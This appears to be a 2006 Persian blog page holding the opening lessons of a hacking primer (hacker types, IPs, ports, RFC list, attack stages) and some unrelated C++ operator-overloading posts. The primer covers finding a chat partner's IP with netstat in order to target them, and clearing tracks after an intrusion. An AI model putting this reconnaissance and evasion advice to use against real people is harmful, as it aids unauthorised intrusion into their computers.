۳- کلاس C: اين اين کلاس تمام ipهای را شامل می‌شود که xxx بين ۱۹۲ و ۲۲۳ است. اين کلاس معمولا به ISP هايی که خدمات dial-up ارائه می‌دهند، تعلق می‌گيرد (اين جمله چندان مستند نيست.). بنابراين اگر به‌صورت dial-up به اينترنت متصل شويد، چنين ip می‌گيريد. اين کلاس را 24/ هم می‌گويند.

سوالی که پيش می‌آيد اين است که xxx چرا نه در کلاس A و نه در B، عدد ۱۲۷ را شامل نمی‌شود؟ جواب اين‌ است که ۱۲۷ برای کامپيوتر خودمان رزرو شده است. مثلا 127.0.0.1 معمولا يعنی localhost يعنی خودمان.


- به‌دست آوردن ip خودتان بعد از اتصال به اينترنت

برای اين‌کار راههای متفاوتی وجود دارد:

۱- راحت‌ترين راه استفاده از دستور ipconfig است. من با تايپ کردن آن به نتايج زير رسيدم:
Windows 2000 IP Configuration

PPP adapter neda:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 217.66.198.116
Subnet Mask . . . . . . . . . . . : 255.255.255.255
Default Gateway . . . . . . . . . : 217.66.198.116
که آدرس ip تان را می‌توانيد در سطر Ip Address ببينيد. (مسئله پروکسی را فعلا ناديده بگيريد)

۲- بعد از اتصال به اينترنت حداقل يک صفحه باز کنيد و بعد دستور netstat -n را در command prompt تايپ کنيد. من با تايپ اين دستور به نتايج زير رسيدم:
Active Connections

Proto Local Address Foreign Address State
TCP 217.66.198.116:2469 64.58.76.177:80 ESTABLISHED
TCP 217.66.198.116:2471 66.163.175.130:80 ESTABLISHED
TCP 217.66.198.116:2473 212.73.194.143:80 ESTABLISHED
TCP 217.66.198.116:2474 212.73.194.143:80 ESTABLISHED
TCP 217.66.198.116:2476 212.73.194.136:80 SYN_SENT
ستونی که زير عبارت Local Address قرار دارد، ip من در آن اتصال است. بنابراين ip من در آن اتصال 217.66.198.116 بوده است.


- پيدا کردن ip طرف مقابل هنگام chat با yahoo messenger - اين روش قديمی شده، الان ديگه کار نمی‌کنه

می‌خواهيم درباره يک کلاينت مثلا کسی که مثل شما يک اتصال مثلا dial-up به اينترنت دارد و فرضا دارد با شما chat می‌کند، کسب اطلاعات کرد.
در اين مورد هم اولين نکته‌ای که بايد کشف شود، ip اوست. در اين جلسه می‌خوام بهتون ياد بدم که وقتی با يه نفر از طريق yahoo messenger به صورت pm چت می‌کنيد، چطوری می‌تونيد ip اش رو پيدا کنيد. البته بايد توجه کرد که اين روش گاهی کار نمی‌کند. نيز فرض می‌کنم که فقط با يک نفر داريد چت می‌کنيد.
يکی از دستور‌های زير را تايپ می‌کنيد:
netstat -n
netstat
دستور اولی برای پيدا کردن ip طرف مقابل است و دستور دوم گاه می‌تواند اسم کامپيوتر او را برای شما نشان دهد.

من دستور netstat -n را تايپ کردم و به نتايج زير رسيدم:
Active Connections

Proto Local Address Foreign Address State
TCP 195.219.176.126:1296 66.163.173.77:5050 ESTABLISHED
TCP 195.219.176.126:1341 66.218.75.149:80 LAST_ACK
TCP 195.219.176.126:1325 212.234.112.74:5101 SYN_SENT
اولين کاری که می‌کنيد اين است که سطری را پيدا می‌کنيد که در Local Address يا Foreign Address  آن، پورت 5101 داشته باشد. در اين مثال سطر آخر، سطر مورد نظر ماست. زيرا در ستون Foreign Address از سطر آخر، پورت آن 5101 است. البته اگر در ستون Local Address هم بود، فرقی نمی‌کرد. وقتی آن سطر را پيدا کرديد، ip طرف مقابل را از ستون Foreign Address از همان سطر پيدا می‌کنيم. در اين مثال ip طرف مقابل 212.234.112.74 است.
اگر به‌جای netstat -n ، از netstat استفاده می‌کردم، به نتايج زير می‌رسيدم:
Active Connections

Proto Local Address Foreign Address State
TCP artawill...:1296 cs55.msg.sc5.yahoo.com:5050 ESTABLISHED
TCP artawill...:1298 dl3.yahoo.com:http TIME_WAIT
TCP artawill...:1325 Majid:5101 SYN_SENT
ملاحظه می‌فرماييد که همه ip ها به معادل های اسمی تبديل شده‌اند و در مورد همان سطر آخر به جای ip طرف مقابل اسم کامپيوتر فرد را می‌نويسد (البته در حالتی که طرف مقابل dial-up نباشد، قضيه فرق می‌کند.)

حالا فرض کنيد که يک pm ديگر هم اضافه می‌شود. و دوباره دستور netstat -n را تايپ می‌کنم. حالا نتايج زير را می‌بينم:
Active Connections

Proto Local Address Foreign Address State
TCP 195.219.176.126:1296 66.163.173.77:5050 ESTABLISHED
TCP 195.219.176.126:1344 64.58.77.197:80 ESTABLISHED
TCP 195.219.176.126:5101 212.234.112.74:3735 ESTABLISHED
TCP 195.219.176.126:5101 194.225.184.95:1460 ESTABLISHED
الان دوتا سطر دارم که دارای پورت 5101 باشد، و چون می‌دانم که 212.234.112.74 مربوط به نفر قبلی بود، پس 194.225.184.95 مربوط به pm دومی است.


 
comment نظرات ()
 
 
قسمت سوم(RFC چيست؟ )
نویسنده : Hossein - ساعت ۱٢:٤۱ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- RFC چيست؟

متون بسيار کامل ولی خشک و ثقيل که در مورد مفاهيم مختلف شبکه بحث می‌کنند. اين فايل‌ها به صورت متنی و با پسوند txt هستند و به‌عنوان مرجع (برای مراجعه و نه مطالعه کامل) کاربرد دارند. اين فايل‌ها يک‌بار منتشر شده و هرگز تغيير داده نمی‌شوند (حتی اگر حاوی اشتباه باشند.)


- فايل‌های RFC از کجا قابل دسترسی هستند؟

RFCها از سايت‌های بسياري قابل دسترس هستند ولی سايت مورد علاقه من برای RFCها، سايت زير است:
http://www.ietf.org/rfc/xxxxxxx.txt
که به‌جای xxxxxxx نام rfc موردنظر را می‌نویسيم. مثلا برای دسترسی به rfc791 بايد آدرس را به‌ صورت زير تايپ کنيم:
http://www.ietf.org/rfc/rfc791.txt



- ليست مشهورترين RFCها

+General Information
RFC1360 IAB Official Protocol Standards
RFC1340 Assigned Numbers
RFC1208 Glossary of Networking Terms
RFC1180 TCP/IP Tutorial
RFC1178 Choosing a Name for Your Computer
RFC1175 FYI on Where to Start:
A Bibliography of Inter-networking Information
RFC1173 Responsibilities of Host and Network Managers:
A Summary of the Oral Tradition of the Internet
RFC1166 Internet Numbers
RFC1127 Perspective on the Host Requirements RFCs
RFC1123 Requirements for Internet Hosts—Application and Support
RFC1122 Requirements for Internet Hosts—Communication Layers
RFC1118 Hitchhiker"s Guide to the Internet
RFC1011 Official Internet Protocol
RFC1009 Requirements for Internet Gateways
RFC980 Protocol Document Order Information

+TCP and UDP
RFC1072 TCP Extensions for Long-Delay Paths
RFC896 Congestion Control in IP/TCP Internetworks
RFC879 TCP Maximum Segment Size and Related Topics
RFC813 Window and Acknowledgment Strategy in TCP
RFC793 Transmission Control Protocol
RFC768 User Datagram Protocol

+IP and ICMP
RFC1219 On the Assignment of Subnet Numbers
RFC1112 Host Extensions for IP Multicasting
RFC1088 Standard for the Transmission of IP Datagrams over
NetBIOS Networks
RFC950 Internet Standard Subnetting Procedure
RFC932 Subnetwork Addressing Schema
RFC922 Broadcasting Internet Datagrams in the Presence of Subnets
RFC9l9 Broadcasting Internet Datagrams
RFC886 Proposed Standard for Message Header Munging
RFC815 IP Datagram Reassembly Algorithms
RFC814 Names, Addresses, Ports, and Routes
RFC792 Internet Control Message Protocol
RFC791 Internet Protocol
RFC781 Specification of the Internet Protocol (IP) Timestamp Option

+Lower Layers
RFC1236 IP to X.121 Address Mapping for DDN
RFC1220 Point-to-Point Protocol Extensions for Bridging
RFC1209 Transmission of IP Datagrams over the SMDS Service
RFC1201 Transmitting IP Traffic over ARCNET Networks
RFC1188 Proposed Standard for the Transmission of IP Datagrams
over FDDI Networks
RFC1172 Point-to-Point Protocol Initial Configuration Options
RFC1171 Point-to-Point Protocol for the Transmission of
Multiprotocol Datagrams over Point-to-Point Links
RFC1149 Standard for the Transmission of IP Datagrams on Avian
Carriers
RFC1055 Nonstandard for Transmission of IP Datagrams over
Serial Lines: SLIP
RFC1044 Internet Protocol on Network System"s HYPERchannel:
Protocol Specification
RFC1042 Standard for the Transmission of IP Datagrams over
IEEE 802 Networks
RFC1027 Using ARP to Implement Transparent Subnet Gateways
RFC903 Reverse Address Resolution Protocol
RFC895 Standard for the Transmission of IP Datagrams over
Experimental Ethernet Networks
RFC894 Standard for the Transmission of IP Datagrams over
Ethernet Networks
RFC893 Trailer Encapsulations
RFC877 Standard for the Transmission of IP Datagrams over
Public Data Networks

+Bootstrapping
RFC1084 BOOTP Vendor Information Extensions
RFC951 Bootstrap Protocol
RFC906 Bootstrap Loading Using TFTP

+Domain Name System
RFC1101 DNS Encoding of Network Names and Other Types
RFC1035 Domain Names—Implementation and Specification
RFC1034 Domain Names—Concepts and Facilities
RFC1033 Domain Administrators Operations Guide
RFC1032 Domain Administrators Guide
RFC974 Mail Routing and the Domain System
RFC920 Domain Requirements
RFC799 Internet Name Domains

+File Transfer and File Access
RFC1094 NFS: Network File System Protocol Specification
RFC1068 Background File Transfer Program (BFTP)
RFC959 File Transfer Protocol
RFC949 FTP Unique-Named Store Command
RFC783 TFTP Protocol (Revision 2)
RFC775 Directory Oriented FTP Commands

+Mail
RFC1341 MIME (Multipurpose Internet Mail Extensions) Mechanisms for
Specifying and Describing the Format of Internet Message
Bodies
RFC1143 Q Method of Implementing Telnet Option Negotiation
RFC1090 SMTP on X.25
RFC1056 PCMAIL: A Distributed Mail System for Personal Computers
RFC974 Mail Routing and the Domain System
RFC822 Standard for the Format of ARPA Internet Text Messages
RFC821 Simple Mail Transfer Protocol

+Routing Protocols
RFC1267 A Border Gateway Protocol 3 (BGP-3)
RFC1247 OSPF version 2
RFC1222 Advancing the NSFNET Routing Architecture
RFC1195 Use of OSI IS-IS for Routing in TCP/IP and Dual Environments
RFC1164 Application of the Border Gateway Protocol in the Internet
RFC1163 Border Gateway Protocol (BGP)
RFC1136 Administrative Domains and Routing Domains:
A Model for Routing in the Internet
RFC1074 NSFNET Backbone SPF-Based Interior Gateway Protocol
RFC1058 Routing Information Protocol
RFC911 EGP ateway under Berkeley UNIX 4.2
RFC904 Exterior Gateway Protocol Formal Specification
RFC888 STUB Exterior Gateway Protocol
RFC827 Exterior Gateway Protocol (EGP)
RFC823 DARPA Internet Gateway

+Routing Performance and Policy
RFC1254 Gateway Congestion Control Survey
RFC1246 Experience with the OSPF Protocol
RFC1245 OSPF Protocol Analysis
RFC1125 Policy Requirements for Inter-Administrative Domain Routing
RFC1124 Policy Issues in Interconnecting Networks
RFC1104 Models of Policy-Based Routing
RFC1102 Policy Routing in Internet Protocols

+Terminal Access
RFC1205 Telnet 5250 Interface
RFC1198 FYI on the X Window System
RFC1184 Telnet Linemode Option
RFC1091 Telnet Terminal-Type Option
RFC1080 Telnet Remote Flow Control Option
RFC1079 Telnet Terminal Speed Option
RFC1073 Telnet Window Size Option
RFC1053 Telnet X.3 PAD Option
RFC1043 Telnet Data Entry Terminal Option: DODIIS Implementation
RFC1041 Telnet 3270 Regime Option
RFC1013 X Window System Protocol, version 11: Alpha Update
RFC946 Telnet Terminal Location Number Option
RFC933 Output Marking Telnet Option
RFC885 Telnet End of Record Option
RFC861 Telnet Extended Options: List Option
RFC860 Telnet Timing Mark Option
RFC859 Telnet Status Option
RFC858 Telnet Suppress Go Ahead Option
RFC857 Telnet Echo Option
RFC856 Telnet Binary Transmission
RFC855 Telnet Option Specifications
RFC854 Telnet Protocol Specification
RFC779 Telnet Send-Location Option
RFC749 Telnet SUPDUP-Output Option
RFC736 Telnet SUPDUP Option
RFC732 Telnet Data Entry Terminal Option
RFC727 Telnet Logout Option
RFC726 Remote Controlled Transmission and Echoing Telnet Option
RFC698 Telnet Extended ASCII Option

+Other Applications
RFC1196 Finger User Information Protocol
RFC1179 Line Printer Daemon Protocol
RFC1129 Internet Time Synchronization: The Network Time Protocol
RFC1119 Network Time Protocol (version 2) Specification
and Implementation
RFC1057 RPC: Remote Procedure Call Protocol Specification: Version 2
RFC1014 XDR: External Data Representation Standard
RFC954 NICNAME/WHOIS
RFC868 Time Protocol
RFC867 Daytime Protocol
RFC866 Active Users
RFC865 Quote of the Day Protocol,
RFC864 Character Generator Protocol
RFC863 Discard Protocol
RFC862 Echo Protocol

Network Management
RFC1271 Remote Network Monitoring Management Information Base
RFC1253 OSPE version 2: Management Information Base
RFC1243 Appletalk Management Information Base
RFC1239 Reassignment of Experimental MIBs to Standard MIBs
RFC1238 CLNS MIB for Use with Connectionless Network Protocol (ISO
8473) and End System to Intermediate System (ISO 9542)
RFC1233 Definitions of Managed Objects for the DS3 Interface Type
RFC1232 Definitions of Managed Objects for the DS1 Interface Type
RFC1231 IEEE 802.5 Token Ring MIB
RFC1230 IEEE 802.4 Token Bus MIB
RFC1229 Extensions to the Generic-Interface MIB
RFC1228 SNMP-DPI: Simple Network Management Protocol Distributed
Program Interface
RFC1227 SNMP MUX protocol and MIB
RFC1224 Techniques for Managing Asynchronously Generated Alerts
RFC1215 Convention for Defining Traps for Use with the SNMP
RFC1214 OSI Internet Management: Management Information Base
RFC1213 Management Information Base for Network Management of
TCP/IP-based Internets: MiB-II
RFC1212 Concise MIB Definitions
RFC1187 Bulk Table Retrieval with the SNMP
RFC1157 Simple Network Management Protocol (SNMP)
RFC1156 Management Information Base for Network Management of
TCP/IP-based Internets
RFC1155 Structure and Identification of Management Information for
TCP/IP-Based Internets
RFC1147 FYI on a Network Management Tool Catalog: Tools for
Monitoring
and Debugging TCP/IP Internets and Interconnected Devices
RFC1089 SNMP over Ethernet

+Tunneling
RFC1241 Scheme for an Internet Encapsulation Protocol: Version 1
RFC1234 Tunneling IPX Traffic through IP Networks
RFC1088 Standard for the Transmission of IP Datagrams over
NetBIOS Networks
RFC1002 Protocol Standard for a NetBIOS Service on a TCP/UDP
Transport: Detailed Specifications
RFC1001 Protocol Standard for a NetBIOS Service on a TCP/UDP
Transport: Concepts and Methods

+OSI
RFC1240 OSI Connectionless Transport Services on Top of UDP:
Version 1
RFC1237 Guidelines for OSI NSAP Allocation in the Internet
RFC1169 Explaining the Role of GOSIP

+Security
RFC1244 Site Security Handbook
RFC1115 Privacy Enhancement for Internet Electronic Mail:
Part III Algorithms, Modes, and Identifiers [Draft]
RFC1114 Privacy Enhancement for Internet Electronic Mail:
Part II Certificate-Based Key Management [Draft]
RFC1113 Privacy Enhancement for Internet Electronic Mail: Part I—
Message Encipherment and Authentication Procedures [Draft]
RFC1108 Security Options for the Internet Protocol

+Miscellaneous
RFC1251 Who"s Who in the Internet: Biographies of
IAB, IESG, and IRSG Members
RFC1207 FYI on Questions and Answers: Answers to Commonly
Asked "Experienced Internet User
RFC1206 FYI on Questions and Answers: Answers to Commonly
Asked "New Internet User" Questions

 
comment نظرات ()
 
 
قسمت دوم(تعريف ip و port )
نویسنده : Hossein - ساعت ۱٢:۳٩ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- IP

شماره‌ ايست که به هر کامپيوتر متصل به اينترنت داده می‌شود تا بتوان به‌کمک آن شماره به آن کامپيوترها دسترسی داشت. اين عدد برای کامپيوترهايی که حالت سرور دارند (مثلا سايت‌ها) و نيز کامپيوتر‌های کلاينتی که معمولا به روشی غير از شماره‌گيری (Dial Up) به اينترنت وصل هستند، عددی ثابت و برای ديگران عددی متغير است. مثلا هر بار که شما با شرکت ISP خود تماس گرفته و به اينترنت وصل می‌شويد، عددی جديد به شما نسبت داده می‌شود.
اين عدد يک عدد ۳۲ بيتی (۴ بايتی) است و برای راحتی به‌صورت زير نوشته می‌شود:
xxx.xxx.xxx.xxx که منظور از xxx عددی بين ۰ تا ۲۵۵ است (البته بعضی شماره‌ها قابل استفاده نيست که بعدا علت را توضيح خواهم داد). مثلا ممکن است آدرس شما به صورت 195.219.176.69 باشد. حتی اسم‌هايی مثل www.yahoo.com که برای اتصال استفاده می‌کنيد، در نهايت بايد به يک IP تبديل شود، تا شما سايت ياهو را ببينيد.
در IP معمولا xxx اولی معنای خاصی دارد، که بعدا توضيح می‌دهم... فقط اين را بگويم که اگر به روش Dial Up به اينترنت وصل شويد، معمولا عددی که به عنوان xxx اول می‌گيريد، مابين 192 تا 223 خواهد بود.اين توضيح برای تشخيص کامپيوترهای کلاينت از سرور (حداقل در ايران) بسيار می‌تواند مفيد باشد.
بعد از اتصال به اينترنت برای به دست آوردن IP خود، از دستور IPCONFIG در command prompt استفاده کنيد. (البته يک سری نکات فنی داريم که بعدا می‌گم)


- Port

در ساده ترين تعريف، محلی است که داده‌ها وارد با خارج می‌شوند. در مبحث هک معمولا با پورت‌های نرم‌افزاری سروکار داريم که به هر کدام عددی نسبت می‌دهيم. اين اعداد بين ۱ و ۶۵۵۳۵ هستند. معمولا به يک سری از پورت‌ها کار خاصی را نسبت می‌دهند و بقيه به‌صورت پيش‌فرض برای استفاده شما هستند. پورت‌های که فعال هستند، هرکدام توسط يک نرم‌افزار خاص مديريت می‌شوند. مثلا پورت ۲۵ برای ارسال Email است، بنابراين بايد توسط يک نرم‌افزار اين کار انجام شود و اين نرم‌افزار بر روی پورت ۲۵ منتظر (فال‌گوش) می‌ماند. اينجا ممکن است شخصی از فلان نرم‌افزار و ديگری از بهمان نرم‌افزار استفاده کند ولی به‌هر حال پورت ۲۵ هميشه برای ارسال Email است.
در پايين ليستی از مهمترين پورت‌ها و کاربردشان را می‌بينيد:
Port Num   Service         Why it is phun!
-------- ------- ----------------------------------------
7 echo Host repearts what you type
9 discard Dev/null
11 systat Lots of info on users
13 daytime Time and date at computers location
15 netstat Tremendous info on networks
19 chargen Pours out a stream of ASCII characters.
21 ftp Transfers files
23 telnet Where you log in.
25 smpt Forge email
37 time Time
39 rlp Resource location
43 whois Info on hosts and networks
53 domain Nameserver
70 gopher Out-of-date info hunter
79 finger Lots of info on users
80 http Web server
110 pop Incoming email
119 nntp Usenet news groups -- forge posts, cancels
443 shttp Another web server
512 biff Mail notification
513 rlogin Remote login
who Remote who and uptime
514 shell Remote command, no password used!
syslog Remote system logging
520 route Routing information protocol

از ميان اين پورت‌ها شماره‌های ۷، ۱۵، ۲۱، ۲۳، ۲۵، ۷۹، ۸۰، ۱۱۰و ۱۱۹ فعلا برای ما مهم‌ترند و به‌تدريج با آنها آشنا خواهيد شد.

 
comment نظرات ()
 
 
قسمت اول(مقدمات قبل از شروع يادگيری هک )
نویسنده : Hossein - ساعت ۱٢:۳٧ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- ترمينولوژی (اصطلاح‌شناسی)

- Hacker کيست ؟

هکر کسی است که با سيستم های کامپيوتری آشناست و می‌تواند با روش‌هايی خاص (بدون اجازه) وارد آنها شود... اين انسان می‌تواند خوب يا بد باشد ( در هر حال هکر است )

- سوال: يک هکر از چه راهی وارد يک سيستم می‌شود؟
از راه شبکه (نه بابا ! )
بايد توجه کنيد که هر سيستم کامپيوتری (به عبارت بهتر هر سيستم عامل) به هر حال محصول کار تعدادی انسان است و حتما دارای تعدادی bug (خطاهايی که بعد از ارائه محصول به بازار به تدريج کشف می‌شوند) خواهد بود. بعد از اينکه يک باگ مشخص شد، شرکت ها نرم‌افزارهايی را به‌سرعت (در عرض چند ساعت ) ايجاد می‌کنند تا مشکل رفع شود اين‌ها را patch می‌گويند. و بعد مديران شبکه (Wbemasters) در عرض چند روز تا چند سال (آين آخری در مورد ايرانه) آنها را download کرده و مشکل را حل می‌کنند. در اين فاصله هکرها دمار از روزگار اين سايت‌ها در می‌اورند...

- تعريف چند اصطلاح:

*** Hacker واقعی = سامورايی :
کسی که هدفش از نفوذ به سيستم‌ها نشان دادن ضعف سيستم‌های کامپيوتری است نه سوءاستفاده ...

*** Wacker (واکر):
کسی که هدفش از نفوذ به سيستم‌ها، استفاده از اطلاعات آن سيستم‌هاست (جرو هکر‌های کلاه‌ سياه )

*** Cracker (کراکر):
کسی که هدفش از نفوذ به سيستم‌ها، خرابکاری و ايجاد اختلال در سيستم‌های کامپيوتری است. (جرو هکر‌های کلاه‌ سياه )

*** Preaker :
از قديمي‌ترين هکرها هستند که برای کارشان نياز (و دسترسی) به کامپيوتر نداشتند و کارشان نفوذ به خطوط تلفن برای تماس مجانی، استراق‌سمع و ... بود. اين جزو آموزش من نيست چون کار خيلی بديه (-;


- زنگ ‌تفريح

- تقسيم بندی من برای هکر ها:

۱- جوجه‌هکرها (احمق کوچولوها):
توانايی‌ها: بلدند از Sub 7 , 187 استفاده کنند و فکر کنند ديگه همه‌چی رو ياد گرفته‌اند !

۲- خروس‌هکر‌ها يا مرغ‌هکرها (احمق‌های بزرگتر):
توانايی‌ها: Mail Box را هم می‌توانند Bomb کنند ... ماشاءالله !

۳- هکرهای قابل‌احترام ( مثل خود شما):
دارند ياد می‌گيرند و هنوز ۲،۳ سال کار دارند.

۴- هکرهای پيش‌کسوت:
ديگه آفتاب لبه بومه ... هکرهای قابل احترام را دوس دارند


- تقسيم‌بندی

- انواع کامپيوتر‌های شبکه:
=> کامپيوترهای Server : کامپيوترهايی که کارشان تامين اطلاعات در شبکه است، مثلآ کامپيوترهايی که سايت‌ها را نگه می‌دارند.
=> کامپبوتر‌های Client : کامپيوترهايی که استفاده کننده هستند مثل همين کامپيوتر خودتان که داريد ازش کار می‌کشيد.


- انواع سيستم‌ عامل‌هايی که Server ها از آن استفاده‌ می‌کنند:

=> سيستم‌های فعلی:
* خانواده Unix (مثل FreeBSD, Linux, Sun Solaris )
* خانواده Windows (مثل WinNT, Win2000 )
* OsMac
=> سيستم‌های قديمی (منقرض شده - آخيش ! ):
AIX, IRIS, DEC10, DEC20 , ...


- سوال: کدام‌ها را بايد ياد گرفت؟
Win2000, Unix(Linux) را بايد ياد بگيريد. پيشنهاد من اين است که Win2000و RedHat Linux را روی کامپيوتر خود همزمان داشته باشيد.


- برای شروع چه چيزی لازم است؟

۱- Win2000 , Linux را روی کامپيوتر خود نصب کرده و شروع به يادگيری کنيد.
۲- شروع به يادگيری زبان C کنيد.
۳- شروع به يادگيری TCP/IP کنيد. (يک کتاب بخريد )
۴- مهمترين چيز علاقه به طی کردن يک را بسييييييار طوووووولانی


- تقسيم‌بندی انواع حملات

اولين نکته‌ای که لازم است بگويم اينه که وقت خود را برای هک کردن کامپيوتر‌های کلاينت هدر ندهيد (اگرچه برای افراد مبتدی کار با نرم‌افزاری مثل Sub7 زياد هم بد نيست ولی نبايد زياده‌روی کرد) علت هم اينه که هربار که به اينترنت وصل می‌شوند ip جديدی به‌ آنها اختصاص پيدا می‌کنه و زحماتتون هدر می‌ره (البته برای جلوگيری از اين امر هم روشهايی هست که در آينده ايشالله ميگم).
حالا تقسيم‌بندی:
۱- حمله به روش Denial of Service Attack) DoS)
۲- حمله به روش Exploit
۳- حمله به روش Info Gathering (تلنت کردن يکی از مثالهای آن است که امروز آموختيد)
۴- حمله به روش Disinformation

در مورد هرکدام به‌زودی توضيح می‌دم.


- 133t Speak چيست؟

گاهی هکرها در هنگام نوشتن به جای تعدادی از حروف انگليسی معادل‌های قراردادی به کار می‌روند که ليست آنها را در زير می‌بينيد:
0    <= O
1 <= L; I
2 <= Z
3 <= E
4 <= A
5 <= S
6 <= G
7 <= T
8 <= B
| <= L; I
@ <= at (duh)
$ <= S
)( <= H
}{ <= H
/\/ <= N
\/\/ <= W
/\/\ <= M
|> <= P; D
|< <= K
ph <= f
z <= s


مثلا he Speaks می‌شود:
}{3 $|>34|< z
توصيه من اينه که از اين معادل‌ها تا جايی که می‌تونيد استفاده نکنيد. فقط ياد بگيريد که کم نياريد.


- ترسيم مسير برای آينده

۱- اولين و مهمترين تصميم انتخاب نوع کامپيوتری است که می‌خواهيد هک کنيد ( کلاينت يا سرور )، زيرا روش‌هک کردن اين‌دو بجز در مراحل ابتدايی کاملا متفاوت است.
۲- دومين گام انتخاب يک کامپيوتر مشخص (مثلا کامپيوتری که فلان سايت را نگه می‌دارد که مثالی برای کامپيوتر سرور است و يا کامپیوتر فلان شخصی که با او چت می‌کنيد که مثالی برای کامپيوتر کلاينت است) و جمع‌آوری اطلاعات در مورد آن است. اين جمع‌آوری اطلاعات از قربانی (Victim) را Footprinting گويند. اولين مشخصه‌ای که بايد کشف شود، ip اوست. يکی ديگر از اطلاعات مهم که معمولا دنبالش هستيم، پيدا کردن نوع سيستم‌عامل و نيز برنامه‌هايی است که کامپيوتر شخص از آنها بهره می‌برد. يکی از مهمترين ( و گاه خطرناک‌ترين) کارها، تست‌کردن پورت‌های آن کامپيوتر برای ديدن اينکه کدام پورت‌ها باز و کدام‌ها بسته هستند.
۳- مرحله بعدی در واقع شروع تلاش برای نفوذ به سيستم است. اين نفوذ سطوح مختلف دارد و بالاترين آن که در کامپيوترهای سرور روی می‌دهد، حالتی است که بتوان username و password مربوط به مدير کامپيوتر (administrator) يا superuser را به‌دست آورده و از طريق اين Shell Account به نهايت نفوذ دست‌ يابيم ولی گاه به‌دلايل مختلف (مربوط به سطح علمی خود و ... ) نمی‌توان به اين سطح دست‌يافت اما به هر حال برای مرحله بعدی می‌تواند استفاده شود. اين مرحله جايی است که هنر شما يه عنوان يک هکر آغاز شده و نيز به پايان می‌رسد.
۴- اين مرحله بعد از نفوذ روی می‌دهد که در آن به يک سطحی از کنترل سيستم رسيده‌ايد. رفتار شما در اين مرحله مشخص می‌کند که چه نوع هکر هستيد(سامورايی، واکر و يا کراکر) و اينکه آيا جنبه ياد گرفتن را داشته‌ايد يا نه، همينجا مشخص خواهد شد.
۵- مرحله آخر پاک کردن ردپاست تا گير نيفتيم (البته بعضی وقتها برای کلاس گذاشتن بايد گير بيفتيم، هه هه ...). بعضی از سيستم‌ها آمار login را نگه می‌دارند که در مورد آنها اين مرحله بسيار مهم است.

خلاصه مطالب بالا به اين صورت است:
Selection -> FootPrinting -> Penetration -> [Changings] -> Cleaning

 
comment نظرات ()
 
 
درباره هک
نویسنده : Hossein - ساعت ۱٢:۳٤ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
سلام

می خوام شما رو با دنیای هک آشنا کنم که شامل 24 قسمته
فقط جنبه داشته باشید

 
comment نظرات ()
 
 
قسمت شصت و یکم(پایان)
نویسنده : Hossein - ساعت ۱۱:٤٠ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

گرانبار کردن عملگر های ++ و --

در ++C می توان عمگر های ++ و -- را گرانبار کرد. به طور کلی برای گرانبار کردن اين عملگر ها به عنوان تابع عضو به صورت زير عمل می کنيم:

 
نوع داده operator++() //++x
{
...
}

نوع داده operator++(int x) //x++
{
...
}

نوع داده operator--() //--x
{
...
}

نوع داده operator--(int x) //x--
{
...
}

و برای گرانبار کردن عملگرهای فوق توسط توابع دوست ، به شيوه زير آنها را تعريف می کنيم:

friend نوع داده operator++(نوع داده &op)          //++x
{
...
}

friend نوع داده operator++(نوع داده &op, int x) //x++
{
...
}

friend نوع داده operator--(نوع داده &op) //--x
{
...
}

friend نوع داده operator--(نوع داده &op, int x) //x--
{
...
}

 
comment نظرات ()
 
 
قسمت شصت ام
نویسنده : Hossein - ساعت ۱۱:۳۸ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

تبديل انواع به يکديگر

هنگام برنامه نويسی مواردی پيش می آيد که نياز به تبديل انواع به يکديگر داريم. مثلا هنگامی که اشيايی از کلاسهای متفاوت تعريف شده توسط کاربر را با يکديگر ترکيب شوند کامپايلر نمی داند که چگونه تبديلات لازم را انجام دهد و برنامه نويس بايد شيوه تبديل را مشخص نمايد. تبديل انواع به يکديگر را می توان توسط سازنده تبديل انجام داد. اين تابع که تک آرگومانی می باشد، می تواند اشيايی از يک کلاس را به اشيايی از کلاس ديگر تبديل کند. در واقع هر سازنده تک آرگومانی می تواند به عنوان سازنده تبديل در نظر گرفته شود.

عملگر تبديل نيز می تواند شيئی از کلاسی را به شيئی از کلاسی ديگر يا انواع اوليه تبديل نمايد. اين عملگر بايد به صورت تابع عضو تعريف شود. به دستور زير توجه نماييد:

  test::operator char* () const;

دستور فوق يک يک تابع تبديل را گرانبار می نمايد. اين تابع يک شیء موقت از نوع *char را به شيئی از نوع ايجاد شده توسط کاربر با نام test تبديل می نمايد. همانطور که مشاهده می کنيد برای اين تابع نوع خروجی در نظر گرفته نشده است. در حقيقت عملگر تبديل نبايد نوع خروجی داشته باشد و نوع خروجی ، نوع شيئی می باشد که در حال تبديل است. مثلا اگر s شيئی از کلاس test در دستور بالا باشد هنگامی که کامپايلر به عبارت (char *) s برخورد می کند، فراخوانی s.operator char *() ايجاد می گردد.

myClass::operator int() const;
myClass::operator otherClass() const;

دو دستور فوق به ترتيب عملگر تبديلی برای تبديل شيئی از کلاس myClass به يک عدد صحيح و دومی عملگر تبديلی برای تبديل شيئی از کلاس myClass به شيئی از کلاس ديگری با نام otherClass تعريف می کنند.


 
comment نظرات ()
 
 
قسمت پنجاه و نهم
نویسنده : Hossein - ساعت ۱۱:۳٧ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

گرانبار کردن عملگر های دودويی

به طور کلی برای گرانبار کردن يک عملگر دودويی به صورت تابع عضو ، به شيوه زير آن را تعريف می کنيم:

class نام کلاس{
public:
const نام کلاس &oprerator علامت عملگر
(const نام کلاس &);
...
}

و برای گرانبار کردن يک عملگر دودويی به صورت تابع دوست ، به شيوه زير آن را تعريف می کنيم:

class نام کلاس{
friend const نام کلاس &oprerator علامت عملگر
( نام کلاس &, const نام کلاس &);
...
}

 
comment نظرات ()
 
 
قسمت پنجاه و هشتم
نویسنده : Hossein - ساعت ۱۱:۳٥ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

گرانبار کردن عملگر های يگانی

به طور کلی برای گرانبار کردن يک عملگر يگانی به صورت تابع عضو ، به شيوه زير آن را تعريف می کنيم:

class نام کلاس{
public:
نوع خروجی عملگر oprerator علامت عملگر() const;
...
}

